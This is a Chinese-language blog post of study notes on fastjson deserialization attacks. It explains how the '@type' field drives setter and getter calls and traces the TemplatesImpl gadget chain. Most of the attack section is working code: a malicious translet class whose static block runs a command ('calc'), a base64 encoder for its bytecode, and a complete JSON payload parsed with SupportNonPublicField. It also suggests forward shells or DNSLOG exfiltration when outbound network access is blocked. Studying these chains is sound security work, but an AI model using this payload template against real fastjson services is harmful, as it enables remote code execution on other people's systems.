fastjson

fastjson

fastjson解析流程

fastjson是用来实现json字符串和类之间的转换,也就是它可以把类转换为一个json字符串来表示,也可以把代表类的json字符串解析为类

当fastjson对相应的json字符串进行解析时会调用类属性的set和get方法

一个例子:


package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class fastJsonTest {
    static class Person{
        public String name;
        private int age;
        public Person(){
            this.name = "gr3";
            this.age = 1;
        }
        public void setName(String name) {
            System.out.println("use setName"+"\n");
            this.name = name;
        }
        public String getName(){
            System.out.println("use getName"+"\n");
            return this.name;
        }
        public void setAge(int age) {
            System.out.println("use setAge"+"\n");
            this.age = age;
        }
        public int getAge() {
            System.out.println("use getAge"+"\n");
            return this.age;
        }
    }
    public static void main(String[] args) {
        //String jsonString = "{\"@type\":\"org.example.fastJsonTest$Person\",\"age\":2,\"name\":\"gr3\"}";
        Person p = new Person();
        String s = JSON.toJSONString(p, SerializerFeature.WriteClassName);
        System.out.println(s+"\n");
        System.out.println(JSON.parseObject(s));
        //System.out.println(JSON.parseObject(jsonString));
    }
}

结果:

use getAge

use getName

{"@type":"org.example.fastJsonTest$Person","age":1,"name":"gr3"}

use setAge

use setName

use getAge

use getName

{"name":"gr3","age":1}

通过结果可知把类对应的对象转json字符串会调用类属性的get方法,而parseObject也就是把json字符串转回类会调用类属性的get和set方法。而jsoo字符串中的@type字段可以指定要解析的类,也就是如果parseObject的参数可控,我们又找到了一个类它的属性的get、set方法可以利用(get或set逻辑可以和之前学的类加载、cc链、jndi等联系起来就叫可利用)就能进行攻击

可利用set、get方法

set的查找方式:

  1. 方法名长度大于4
  2. 非静态方法
  3. 返回值为void或当前类
  4. 方法名以set开头
  5. 参数个数为1

get的查找方式:

  1. 方法名长度大于等于4
  2. 非静态方法
  3. 以get开头且第4个字母为大写
  4. 无传入参数
  5. 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

利用

payload总结:

https://pazuris.cn/2023/08/31/FastJson全系漏洞分析/#FastJson各种payload

TemplatesImpl

fastjson->TemplatesImpl. getOutputProperties()->TemplatesImpl.newTransformer()->TemplatesImpl.getTransletInstance()->TemplatesImpl.defineTransletClasses()->TemplatesImpl.defineClass()->ClassLoader.defineClass()

TemplatesImpl. getOutputProperties():

public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

可以看到这里的getOutputProperties()逻辑调用了newTransformer(),而之前cc3链知道TemplatesImpl.newTransformer()->TemplatesImpl.getTransletInstance()->TemplatesImpl.defineTransletClasses()->TemplatesImpl.defineClass()->ClassLoader.defineClass()这条链是可以利用加载恶意类的。现在就需要查看具体的细节设置属性值满足一些条件让fastjson->TemplatesImpl. getOutputProperties()->TemplatesImpl.newTransformer()->TemplatesImpl.getTransletInstance()->TemplatesImpl.defineTransletClasses()->TemplatesImpl.defineClass()->ClassLoader.defineClass()可以成功加载我们的恶意类

是要调用getOutputProperties(),所有json字符串需要有_outputProperties属性

看newTransformer()中的:

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

_tfactory需要设置,getTransletInstance():

if (_name == null) return null;

if (_class == null) defineTransletClasses();

_name!=null,_class==null才可以调用defineTransletClasses(),看defineTransletClasses(),会加载_bytecodes指定的类的字节码,所以恶意类是给到_bytecodes,但是字节码怎么写到一个json字符串里面(分析解析流程可以知道是编码为base64)

需要设置的属性:

outputProperties、 name、bytecodes、tfactory、class

恶意类(编译为class文件):


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class fastJsonEvil extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        }
        catch (IOException e){
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

base64编码器:

package org.example;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.Encoder;

public class base64Encoder {
    public static void main(String args[]) {
        byte[] buffer = null;
        String filepath = "D:\\javaSecurity\\rmiServer\\untitled\\src\\main\\java\\fastJsonEvil.class";
        try {
            FileInputStream fis = new FileInputStream(filepath);
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int n;
            while((n = fis.read(b))!=-1) {
                bos.write(b,0,n);
            }
            fis.close();
            bos.close();
            buffer = bos.toByteArray();
        }catch(Exception e) {
            e.printStackTrace();
        }
        Encoder encoder = Base64.getEncoder();
        String value = encoder.encodeToString(buffer);
        System.out.println(value);
    }
}

payload:

public static void main(String[] args) {
        String text1 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEAEWZhc3RKc29uRXZpbC5qYXZhDAAKAAsHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAoAQAMZmFzdEpzb25FdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAAHQABAAEAAAAFKrcAAbEAAAABAA0AAAAGAAEAAAALAAEADgAPAAIADAAAABkAAAADAAAAAbEAAAABAA0AAAAGAAEAAAAYABAAAAAEAAEAEQABAA4AEgACAAwAAAAZAAAABAAAAAGxAAAAAQANAAAABgABAAAAHQAQAAAABAABABEACAATAAsAAQAMAAAAVAADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAIADQAAABYABQAAAA4ACQASAAwAEAANABEAFgATABQAAAAHAAJMBwAVCQABABYAAAACABc=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ },'_class':{ }}";
        //JSON.parseObject(payload);
        JSON.parseObject(text1, Feature.SupportNonPublicField);
    }
}

需要加Feature.SupportNonPublicField,因为fastjson反序列化只对public的属性进行。

fastjson不出网

https://xz.aliyun.com/t/12492#toc-2

fastjson一般都是配合rmi或者ldap进行远程恶意类调用来攻击,如果不出网则无法加载攻击者自己搭建的远程服务的恶意类。这时需要找目标本地的java环境是否可以利用,比如可以用TemplatesImpl类加载恶意类,而恶意类内容可以通过json字符串的_bytecodes来指定(不出网恶意内容可以搞正向shell,或者数据外带比如DNSLOG、静态资源写入)

posted @ 2024-11-26 15:35  qingshanboy  阅读(2)  评论(0编辑  收藏  举报